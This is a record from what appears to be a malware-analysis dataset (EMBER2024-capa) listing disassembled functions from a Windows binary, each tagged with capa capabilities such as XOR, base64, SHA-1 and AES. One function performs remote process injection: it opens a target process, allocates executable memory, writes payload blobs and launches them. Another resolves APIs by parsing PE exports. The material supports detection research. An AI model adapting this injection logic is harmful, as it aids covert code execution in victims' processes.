joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b5004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
push edi
mov byte [esi], 0x82
cmp ebx, 0x7d
jg 0x1000e0bf
mov al, bl
mov edi, 2
or al, 0x80
mov byte [esi + 1], al
jmp 0x1000e103
mov ecx, ebx
shr ecx, 8
cmp ebx, 0xffff
jg 0x1000e0dd
mov byte [esi + 1], 0xfe
mov edi, 4
mov byte [esi + 2], cl
mov byte [esi + 3], bl
jmp 0x1000e103
mov byte [esi + 1], 0xff
mov eax, ebx
mov dword [esi + 2], 0
mov edi, 0xa
shr eax, 0x18
mov byte [esi + 6], al
mov eax, ebx
shr eax, 0x10
mov byte [esi + 7], al
mov byte [esi + 8], cl
mov byte [esi + 9], bl
xor ebx, ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
imul ecx, dword [0x100de4f0], 0x3fff
mov eax, dword [0x100de4f0]
mov edx, dword [ebp - 0x10]
shr edx, 6
shl eax, 5
sub edx, eax
add ecx, 0x4b0f4aa
add ecx, edx
mov eax, 0x80808081
and ecx, 0xfffffff
mul ecx
mov dword [0x100de4f0], ecx
shr edx, 7
add dl, cl
mov byte [ebp + ebx - 8], dl
inc ebx
cmp ebx, 4
jl 0x1000e105
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
mov dword [esi + edi], eax
add edi, 4
lea eax, [edi + ebx]
cmp eax, dword [ebp + 0x18]
jle 0x1000e17c
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x14
xor ecx, ecx
cmp edi, eax
jge 0x1000e19c
add esi, edi
mov edi, dword [ebp + 0xc]
mov edx, ecx
and edx, 3
mov dl, byte [ebp + edx - 8]
xor dl, byte [ecx + edi]
mov byte [esi + ecx], dl
inc ecx
sub ebx, 1
jne 0x1000e187
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x14
Function at 0x1000ef00
Capabilities:
Encode data using xor
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x10], ebx
xor edi, edi
lea esi, [ebx + 0x21]
nop word [eax + eax]
movzx edx, byte [esi - 1]
lea esi, [esi + 4]
movzx eax, byte [esi - 4]
shl edx, 8
or edx, eax
movzx eax, byte [esi - 3]
shl edx, 8
or edx, eax
movzx eax, byte [esi - 2]
shl edx, 8
or edx, eax
mov dword [ebp + edi*4 - 0x154], edx
inc edi
cmp edi, 0x10
jl 0x1000ef20
lea eax, [ebp - 0x14c]
mov edx, 0x40
nop word [eax + eax]
mov ecx, dword [eax + 0x2c]
lea eax, [eax + 4]
xor ecx, dword [eax + 0x14]
xor ecx, dword [eax - 0xc]
xor ecx, dword [eax - 4]
rol ecx, 1
mov dword [eax + 0x34], ecx
sub edx, 1
jne 0x1000ef60
mov eax, dword [ebx + 4]
mov ecx, eax
mov edi, dword [ebx + 8]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov eax, dword [eax + 0x14]
mov dword [ebp - 8], eax
nop dword [eax]
mov edx, ecx
mov eax, esi
and eax, edi
rol edx, 5
mov ecx, edi
not ecx
and ecx, ebx
or ecx, eax
mov eax, dword [ebp - 4]
add edx, ecx
add edx, dword [ebp + eax*4 - 0x154]
mov eax, dword [ebp - 8]
add eax, 0x5a827999
mov dword [ebp - 8], ebx
add edx, eax
mov ebx, esi
mov eax, dword [ebp - 4]
mov esi, edi
mov edi, dword [ebp - 0xc]
inc eax
ror esi, 2
mov ecx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
cmp eax, 0x14
jl 0x1000efa0
mov dword [ebp - 4], 0x14
nop dword [eax]
mov eax, ebx
rol edx, 5
xor eax, esi
xor eax, edi
add edx, eax
mov eax, dword [ebp - 4]
add edx, dword [ebp + eax*4 - 0x154]
mov eax, dword [ebp - 8]
add eax, 0x6ed9eba1
mov dword [ebp - 8], ebx
add edx, eax
mov ebx, esi
mov eax, dword [ebp - 4]
mov esi, edi
inc eax
ror esi, 2
mov dword [ebp - 4], eax
mov edi, ecx
mov ecx, edx
cmp eax, 0x28
jl 0x1000eff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x28
mov ecx, esi
rol edx, 5
or ecx, edi
mov eax, esi
and eax, edi
and ecx, ebx
or ecx, eax
add edx, 0x8f1bbcdc
mov eax, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 8], ebx
mov ebx, esi
mov esi, edi
mov edi, dword [ebp - 0xc]
add ecx, dword [ebp + eax*4 - 0x154]
inc eax
add edx, ecx
ror esi, 2
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
cmp eax, 0x3c
jl 0x1000f033
mov dword [ebp - 4], 0x3c
mov ecx, dword [ebp - 4]
mov eax, ebx
xor eax, esi
rol edx, 5
add edx, dword [ebp - 8]
xor eax, edi
add eax, 0xca62c1d6
mov dword [ebp - 8], ebx
add eax, dword [ebp + ecx*4 - 0x154]
mov ebx, esi
add edx, eax
mov esi, edi
mov edi, dword [ebp - 0xc]
mov eax, ecx
inc eax
ror esi, 2
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
cmp eax, 0x50
jl 0x1000f077
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
add eax, edx
add dword [ecx + 8], edi
add dword [ecx + 0xc], esi
add dword [ecx + 0x10], ebx
pop edi
mov dword [ecx + 4], eax
mov eax, dword [ebp - 8]
add dword [ecx + 0x14], eax
pop esi
mov dword [ecx + 0x60], 0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f0e0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, edx
mov eax, 0x55555556
imul ebx
push edi
mov edi, edx
mov dword [ebp - 0xc], ebx
shr edi, 0x1f
add edi, edx
mov dword [ebp - 8], edi
lea edx, [edi + 1]
mov dword [ebp - 4], edx
test edx, edx
jle 0x1000f24b
mov ebx, dword [ebp - 4]
lea edx, [ecx + 2]
push esi
mov esi, dword [ebp + 8]
mov edi, 0x2f
add esi, 2
nop
mov cl, byte [edx - 2]
shr cl, 2
cmp cl, 0x19
ja 0x1000f130
add cl, 0x41
jmp 0x1000f15e
lea eax, [ecx - 0x1a]
cmp al, 0x19
ja 0x1000f13c
add cl, 0x47
jmp 0x1000f15e
lea eax, [ecx - 0x34]
cmp al, 9
ja 0x1000f148
sub cl, 4
jmp 0x1000f15e
cmp cl, 0x3e
jne 0x1000f151
mov cl, 0x2b
jmp 0x1000f15e
cmp cl, 0x3f
mov eax, 0x3d
cmove eax, edi
mov cl, al
mov byte [esi - 2], cl
mov cl, byte [edx - 2]
mov al, byte [edx - 1]
and cl, 3
shl cl, 4
shr al, 4
add cl, al
cmp cl, 0x19
ja 0x1000f17c
add cl, 0x41
jmp 0x1000f1aa
lea eax, [ecx - 0x1a]
cmp al, 0x19
ja 0x1000f188
add cl, 0x47
jmp 0x1000f1aa
lea eax, [ecx - 0x34]
cmp al, 9
ja 0x1000f194
sub cl, 4
jmp 0x1000f1aa
cmp cl, 0x3e
jne 0x1000f19d
mov cl, 0x2b
jmp 0x1000f1aa
cmp cl, 0x3f
mov eax, 0x3d
cmove eax, edi
mov cl, al
mov byte [esi - 1], cl
mov al, byte [edx - 1]
mov cl, byte [edx]
and al, 0xf
shl al, 2
shr cl, 6
add al, cl
cmp al, 0x19
ja 0x1000f1c4
add al, 0x41
jmp 0x1000f1f0
lea ecx, [eax - 0x1a]
cmp cl, 0x19
ja 0x1000f1d0
add al, 0x47
jmp 0x1000f1f0
lea ecx, [eax - 0x34]
cmp cl, 9
ja 0x1000f1dc
sub al, 4
jmp 0x1000f1f0
cmp al, 0x3e
jne 0x1000f1e4
mov al, 0x2b
jmp 0x1000f1f0
cmp al, 0x3f
mov ecx, 0x3d
cmove ecx, edi
mov al, cl
mov byte [esi], al
mov cl, byte [edx]
and cl, 0x3f
cmp cl, 0x19
ja 0x1000f201
add cl, 0x41
jmp 0x1000f22f
lea eax, [ecx - 0x1a]
cmp al, 0x19
ja 0x1000f20d
add cl, 0x47
jmp 0x1000f22f
lea eax, [ecx - 0x34]
cmp al, 9
ja 0x1000f219
sub cl, 4
jmp 0x1000f22f
cmp cl, 0x3e
jne 0x1000f222
mov cl, 0x2b
jmp 0x1000f22f
cmp cl, 0x3f
mov eax, 0x3d
cmove eax, edi
mov cl, al
mov byte [esi + 1], cl
add edx, 3
add esi, 4
sub ebx, 1
jne 0x1000f120
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
pop esi
lea eax, [edi + edi*2]
sub ebx, eax
cmp ebx, 1
jne 0x1000f261
mov eax, dword [ebp + 8]
mov word [eax + edi*4 + 2], 0x3d3d
jmp 0x1000f26e
cmp ebx, 2
jne 0x1000f270
mov eax, dword [ebp + 8]
mov byte [eax + edi*4 + 3], 0x3d
mov edi, edx
mov ecx, dword [ebp + 8]
lea eax, [edi*4]
pop edi
pop ebx
mov byte [eax + ecx], 0
mov esp, ebp
pop ebp
ret
Function at 0x1000f370
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [edx]
push ebx
push esi
mov esi, ecx
push edi
mov byte [esi], al
movzx eax, byte [edx + 1]
mov byte [esi + 1], al
movzx eax, byte [edx + 2]
mov byte [esi + 2], al
movzx eax, byte [edx + 3]
mov byte [esi + 3], al
movzx eax, byte [edx + 4]
mov byte [esi + 4], al
movzx eax, byte [edx + 5]
mov byte [esi + 5], al
movzx eax, byte [edx + 6]
mov byte [esi + 6], al
movzx eax, byte [edx + 7]
mov byte [esi + 7], al
movzx eax, byte [edx + 8]
mov byte [esi + 8], al
movzx eax, byte [edx + 9]
mov byte [esi + 9], al
movzx eax, byte [edx + 0xa]
mov byte [esi + 0xa], al
movzx eax, byte [edx + 0xb]
mov byte [esi + 0xb], al
movzx eax, byte [edx + 0xc]
mov byte [esi + 0xc], al
movzx eax, byte [edx + 0xd]
mov byte [esi + 0xd], al
movzx eax, byte [edx + 0xe]
mov byte [esi + 0xe], al
movzx eax, byte [edx + 0xf]
mov byte [esi + 0xf], al
movzx eax, byte [edx + 0x10]
mov byte [esi + 0x10], al
movzx eax, byte [edx + 0x11]
mov byte [esi + 0x11], al
movzx eax, byte [edx + 0x12]
mov byte [esi + 0x12], al
movzx eax, byte [edx + 0x13]
mov byte [esi + 0x13], al
movzx eax, byte [edx + 0x14]
mov byte [esi + 0x14], al
movzx eax, byte [edx + 0x15]
mov byte [esi + 0x15], al
movzx eax, byte [edx + 0x16]
mov byte [esi + 0x16], al
movzx eax, byte [edx + 0x17]
mov byte [esi + 0x17], al
movzx eax, byte [edx + 0x18]
mov byte [esi + 0x18], al
movzx eax, byte [edx + 0x19]
mov byte [esi + 0x19], al
movzx eax, byte [edx + 0x1a]
mov byte [esi + 0x1a], al
movzx eax, byte [edx + 0x1b]
mov byte [esi + 0x1b], al
movzx eax, byte [edx + 0x1c]
mov byte [esi + 0x1c], al
lea eax, [esi + 0x1d]
movzx ecx, byte [edx + 0x1d]
mov byte [eax], cl
movzx ecx, byte [edx + 0x1e]
mov byte [esi + 0x1e], cl
movzx ecx, byte [edx + 0x1f]
mov byte [esi + 0x1f], cl
mov esi, 8
nop
mov cl, byte [eax + 1]
mov edi, esi
mov dh, byte [eax + 2]
mov bl, byte [eax - 1]
mov bh, byte [eax]
mov byte [ebp - 1], cl
mov byte [ebp - 2], dh
and edi, 7
jne 0x1000f4b3
movzx ecx, cl
movzx edx, bh
mov bh, byte [ecx + 0x100a2cb0]
movzx ecx, byte [ebp - 2]
mov cl, byte [ecx + 0x100a2cb0]
mov byte [ebp - 1], cl
movzx ecx, bl
mov cl, byte [ecx + 0x100a2cb0]
mov byte [ebp - 2], cl
mov ecx, esi
shr ecx, 3
mov bl, byte [ecx + 0x100a2eb0]
xor bl, byte [edx + 0x100a2cb0]
mov dh, byte [ebp - 2]
jmp 0x1000f4e2
cmp edi, 4
jne 0x1000f4e2
mov dl, byte [ebp - 1]
movzx ecx, bl
mov bl, byte [ecx + 0x100a2cb0]
movzx ecx, bh
mov bh, byte [ecx + 0x100a2cb0]
movzx ecx, dl
mov cl, byte [ecx + 0x100a2cb0]
mov byte [ebp - 1], cl
movzx ecx, dh
mov dh, byte [ecx + 0x100a2cb0]
movzx ecx, byte [eax - 0x1d]
inc esi
mov dl, byte [ebp - 1]
xor cl, bl
mov byte [eax + 3], cl
movzx ecx, byte [eax - 0x1c]
xor cl, bh
mov byte [eax + 4], cl
movzx ecx, byte [eax - 0x1b]
xor cl, dl
mov byte [eax + 5], cl
movzx ecx, byte [eax - 0x1a]
xor cl, dh
mov byte [eax + 6], cl
add eax, 4
cmp esi, 0x3c
jb 0x1000f460
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f520
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
push edi
mov edi, eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esi
sub edi, esi
mov ebx, 4
nop dword [eax]
mov edx, 4
mov al, byte [edi + ecx]
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x1000f545
sub ebx, 1
jne 0x1000f540
mov byte [ebp - 1], 1
nop dword [eax]
mov edi, esi
mov ebx, 4
nop word [eax + eax]
mov ecx, edi
mov edx, 4
nop word [eax + eax]
movzx eax, byte [ecx]
lea ecx, [ecx + 4]
mov al, byte [eax + 0x100a2cb0]
mov byte [ecx - 4], al
sub edx, 1
jne 0x1000f580
inc edi
sub ebx, 1
jne 0x1000f570
cmp byte [ebp - 1], 0xe
movzx eax, byte [esi + 5]
mov cl, byte [esi + 1]
mov byte [esi + 1], al
movzx eax, byte [esi + 9]
mov byte [esi + 5], al
movzx eax, byte [esi + 0xd]
mov byte [esi + 9], al
movzx eax, byte [esi + 0xa]
mov byte [esi + 0xd], cl
mov cl, byte [esi + 2]
mov byte [esi + 2], al
movzx eax, byte [esi + 0xe]
mov byte [esi + 0xa], cl
mov cl, byte [esi + 6]
mov byte [esi + 6], al
movzx eax, byte [esi + 0xf]
mov byte [esi + 0xe], cl
mov cl, byte [esi + 3]
mov byte [esi + 3], al
movzx eax, byte [esi + 0xb]
mov byte [esi + 0xf], al
movzx eax, byte [esi + 7]
mov byte [esi + 0xb], al
mov byte [esi + 7], cl
je 0x1000f6c0
lea edi, [esi + 2]
lea esi, [edx + 4]
nop word [eax + eax]
mov bh, byte [edi + 1]
lea edi, [edi + 4]
mov al, byte [edi - 6]
mov bl, bh
mov ch, byte [edi - 4]
mov cl, al
mov dl, byte [edi - 5]
xor bl, ch
mov byte [ebp - 2], al
xor cl, dl
mov dh, bl
xor dh, al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
xor dh, dl
imul eax, eax, 0x1b
xor al, cl
mov cl, dl
xor al, byte [ebp - 2]
xor cl, ch
xor al, dh
mov byte [edi - 6], al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor al, cl
mov cl, byte [ebp - 2]
xor al, dl
xor cl, bh
xor al, dh
mov byte [edi - 5], al
mov al, bl
shr al, 7
add bl, bl
movzx eax, al
imul eax, eax, 0x1b
xor al, bl
xor al, ch
xor al, dh
mov byte [edi - 4], al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor al, cl
xor al, bh
xor al, dh
mov byte [edi - 3], al
sub esi, 1
jne 0x1000f600
mov ch, byte [ebp - 1]
mov ebx, 4
mov esi, dword [ebp - 0xc]
mov eax, esi
movzx edx, ch
shl edx, 4
add edx, dword [ebp - 8]
mov edi, 4
mov cl, byte [edx]
inc edx
xor byte [eax], cl
inc eax
sub edi, 1
jne 0x1000f6a6
sub ebx, 1
jne 0x1000f6a1
inc ch
mov byte [ebp - 1], ch
jmp 0x1000f560
mov ecx, dword [ebp - 8]
mov edi, 4
add ecx, 0xe0
nop
mov edx, 4
mov al, byte [ecx]
inc ecx
xor byte [esi], al
inc esi
sub edx, 1
jne 0x1000f6d5
sub edi, 1
jne 0x1000f6d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000f9d0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10099ecd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x60
push esi
push edi
mov eax, dword [0x100b5004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebx + 8]
lea eax, [esi + 0x6c]
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx + 0xc]
lea ecx, [esi + 0x64]
mov edx, dword [ecx]
xor esi, esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x50], xmm0
movups xmm0, xmmword [eax + 0x20]
movups xmmword [ebp - 0x60], xmm0
movups xmm0, xmmword [eax + 0x30]
movups xmmword [ebp - 0x70], xmm0
movq xmm0, qword [eax + 0x40]
mov eax, dword [edx + 4]
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], eax
cmp byte [eax + 0xd], 0
jne 0x1000fa7c
mov dword [ebp - 0x14], eax
cmp dword [eax + 0x10], edi
jae 0x1000fa6f
mov eax, dword [eax + 8]
jmp 0x1000fa73
mov edx, eax
mov eax, dword [eax]
sbb esi, esi
inc esi
cmp byte [eax + 0xd], 0
je 0x1000fa62
cmp byte [edx + 0xd], 0
jne 0x1000fa87
cmp edi, dword [edx + 0x10]
jae 0x1000fafa
cmp dword [ecx + 4], 0x2c8590b
je 0x1000fb19
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], 0
push 0x5c
mov dword [ebp - 0x24], 0
call fcn.1007bcba
movups xmm0, xmmword [ebp - 0x40]
mov ecx, dword [ebp - 0x1c]
add esp, 4
movups xmmword [eax + 0x14], xmm0
mov dword [eax + 0x10], edi
movups xmm0, xmmword [ebp - 0x50]
push eax
push esi
push dword [ebp - 0x14]
movups xmmword [eax + 0x24], xmm0
movups xmm0, xmmword [ebp - 0x60]
movups xmmword [eax + 0x34], xmm0
movups xmm0, xmmword [ebp - 0x70]
movups xmmword [eax + 0x44], xmm0
movq xmm0, qword [ebp - 0x30]
movq qword [eax + 0x54], xmm0
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x18]
mov word [eax + 0xc], 0
call fcn.100091f0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
call fcn.10007ca0
int3
Function at 0x100106f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x100b5004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x18], eax
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x14], edi
cmp dword [esi + 0x38], 0
jne 0x100107aa
push dword [esi + 0x34]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
jne 0x10010735
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
lea ebx, [esi + 0x24]
jmp 0x1001075d
lea ebx, [esi + 0x24]
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x18]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10010774
call edi
cmp eax, 0x3e5
je 0x10010774
call edi
test eax, eax
je 0x10010777
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
inc dword [esi + 0x38]
mov eax, dword [esi + 8]
push 1
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x34]
push 0xffffffffffffffff
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
sub eax, 0
je 0x10010841
sub eax, 1
je 0x100107f5
sub eax, 0x101
je 0x100107c2
pop edi
pop esi
mov eax, 0x54f
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 0x14]
lea eax, [esi + 0x24]
dec dword [esi + 0x38]
push 0
push ecx
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x100107dd
call edi
pop edi
pop esi
mov eax, 0x5b4
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
dec dword [esi + 0x38]
push 0
push dword [ebp - 0x14]
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x1001081f
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 0x14]
xor eax, eax
pop edi
mov edx, 0x2746
pop esi
cmp dword [ecx], eax
pop ebx
cmove eax, edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
mov eax, 0x4c7
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10010860
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100b5004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x1c], ebx
lea eax, [edi + 0x40]
push eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [edi + 0x3c]
push ebx
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
test al, al
je 0x1001097b
mov eax, dword [ebx + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0x14
xor esi, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], esi
push dword [edi + 0x1c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
test eax, eax
je 0x100108ec
lea eax, [edi + 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
sub eax, esi
push eax
mov eax, dword [ebp - 0x1c]
add eax, esi
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100108fa
call ebx
cmp eax, 0x3e5
je 0x100108fa
call ebx
mov esi, eax
test esi, esi
jne 0x100109b0
jmp 0x100108fd
inc dword [edi + 0x20]
mov eax, dword [edi + 8]
push 1
mov dword [ebp - 0xc], eax
mov eax, dword [edi + 0x1c]
push 0xea60
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjectsEx]
sub eax, 0
je 0x100109ab
sub eax, 1
jne 0x10010974
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [edi + 0xc]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x1001094a
call ebx
mov esi, eax
mov eax, dword [ebp - 0x10]
jmp 0x1001095c
dec dword [edi + 0x20]
xor esi, esi
mov eax, dword [ebp - 0x10]
mov ecx, 0x2746
test eax, eax
cmove esi, ecx
test esi, esi
jne 0x100109b0
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov dword [ebp - 0x14], ecx
cmp ecx, dword [ebp - 0x18]
je 0x100109b0
mov esi, ecx
jmp 0x100108b6
sub eax, 0x101
je 0x10010982
mov esi, 0x54f
jmp 0x100109b0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [edi + 0xc]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
jne 0x100109a1
call ebx
mov esi, 0x5b4
jmp 0x100109b0
dec dword [edi + 0x20]
mov esi, 0x5b4
jmp 0x100109b0
mov esi, 0x4c7
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 4
Function at 0x100109d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x100b5004]
xor eax, esp
mov dword [esp + 0x48], eax
mov eax, dword [ebp + 0x24]
push ebx
push esi
push edi
push dword [ecx]
mov dword [esp + 0x14], eax
push 0
push 0x1fffff
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x10010a25
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x20
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push 0x882
push 0
push esi
call edi
mov ebx, eax
test ebx, ebx
jne 0x10010a4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x10010b20
lea eax, [esp + 0x14]
push eax
push 0x882
push 0x100dbd08
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 4
push 0x1000
push 0x20a00
push 0
push esi
call edi
mov dword [esp + 0xc], eax
test eax, eax
je 0x10010a42
lea ecx, [esp + 0x14]
push ecx
push 0x20a00
push 0x100bb308
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0xc]
push 0x100aa4b4
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0x20a00
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 0x24], ecx
test eax, eax
je 0x10010ad6
push 0x100aa4b4
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 4
push 0x1000
push 0x38
push 0
push esi
call edi
mov edi, eax
test edi, edi
je 0x10010a42
lea eax, [esp + 0x14]
push eax
push 0x38
lea eax, [esp + 0x20]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push 0
push 0
push 0
push edi
push ebx
push esi
push 0
push 0x1fffff
push dword [esp + 0x38]
call dword [0x100df568]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x54]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1007bc9e
mov esp, ebp
pop ebp
ret 0x20

Function at 0x10010b40
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x10010b8f
mov ebx, dword [edi + 0x3c]
cmp dword [ebx + edi], 0x4550
jne 0x10010b8f
mov ebx, dword [ebx + edi + 0x78]
xor esi, esi
add ebx, edi
cmp dword [ebx + 0x18], esi
jbe 0x10010b8f
nop dword [eax]
mov eax, dword [ebx + 0x20]
lea eax, [eax + esi*4]
mov eax, dword [eax + edi]
add eax, edi
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10010b98
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x10010b70
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
mov eax, dword [ebx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 8